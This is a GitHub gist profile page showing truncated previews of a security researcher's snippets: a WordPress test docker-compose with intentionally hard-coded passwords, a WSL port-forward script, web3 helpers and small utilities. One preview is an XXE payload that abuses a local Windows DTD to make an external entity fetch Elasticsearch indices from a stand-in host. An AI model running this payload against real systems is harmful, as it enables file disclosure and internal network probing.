Skip to content

Instantly share code, notes, and snippets.

View Rhynorater's full-sized avatar

Justin Gardner Rhynorater

View GitHub Profile
@Rhynorater
Rhynorater / docker-compose.yaml
Created December 6, 2023 20:10
CTBBPodcast WordPress Testing Environment
version: "3.8"
# NOTE! This docker container has hard-coded values for passwords - this is intentional as this is testing machine. DO NOT EXPOSE TO THE INTERNET.
services:
database:
image: mariadb:10.6.4-focal
restart: unless-stopped
ports:
- 3306:3306
environment:
MYSQL_ROOT_PASSWORD: 'CTBB_ROOT_PASSWD'
<!DOCTYPE doc [
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY &#x25; file SYSTEM "http://example.com:9200/_cat/indices">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://test/#&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ENTITY test "test"'
>
%local_dtd;
@Rhynorater
Rhynorater / README.md
Created January 25, 2023 19:05
Quick little solution to add port forwarding to WSL on windows

Quick little solution to add port forwarding to WSL on windows

addPortForward.ps1

$port = $args[0]
netsh interface portproxy add v4tov4 listenport=$port listenaddress=0.0.0.0 connectport=$port connectaddress=(wsl bash ~/.getIP.sh)

=============

@Rhynorater
Rhynorater / myaccountmain.js
Created April 22, 2022 22:04
myaccountmain.js
This file has been truncated, but you can view the full file.
!(function (I, e) {
if ("object" == typeof exports && "object" == typeof module)
module.exports = e();
else if ("function" == typeof define && define.amd) define([], e);
else {
var o = e();
for (var t in o) ("object" == typeof exports ? exports : I)[t] = o[t];
}
})(self, function () {
{
"site": {
"externalURL": "http://NOPE.com/",
"auth.providers": [
{
"type": "builtin"
}
],
"search.largeFiles": [
"*.js"
@Rhynorater
Rhynorater / Demo.sol
Created October 18, 2021 04:24
Example of Differences in Data Locations When Creating New Variables (Storage -> Storage vs Storage -> Memory)
pragma solidity ^0.8.0;
contract Demo{
event log(string data);
string public d= "This is a variable";
string public mv = "changed";
string public mv2 = "changed2";
constructor () {
string storage x = d;
string storage y = x; // Change this to: string memory y = x;
@Rhynorater
Rhynorater / createWalletFromPrivateKey.js
Created October 15, 2021 10:53
Create JSON Wallet from Private Key and Password
var Web3 = require('web3');
const fs = require('fs')
const inquirer = require('inquirer')
var questions = [
{
type: 'input',
name: 'privateKey',
message: "What is your privateKey?"
},
{
@Rhynorater
Rhynorater / nextContractAddr.js
Created October 11, 2021 06:53
Quick command-line script to predict the next contract address for an account based off its current nonce and address.
var web3 = require('web3');
var rlp = require('rlp');
var process = require( 'process' );
var nonce = parseInt(process.argv[3]);
var account = process.argv[2];
var d = web3.utils.sha3(rlp.encode([account, nonce]));
console.log("0x"+d.substring(d.length-40));
import json
import requests
import http.cookiejar
# Load from EditThisCookie export file
def loadCookies(jsonFileName):
x = open(jsonFileName)
d = json.loads(x.read())
cookiejar = http.cookiejar.CookieJar()
for cookie in d:
@Rhynorater
Rhynorater / formatClipboardJSON.py
Created June 11, 2021 14:55
Format JSON Data in the Clipboard
#! /usr/bin/env python3
import pyperclip
import json
contents = pyperclip.paste().replace('[^\\]\\"', '\\\\"')
print(contents)
try:
c = json.loads(contents)
pyperclip.copy(json.dumps(c, indent=4))
except Exception as e: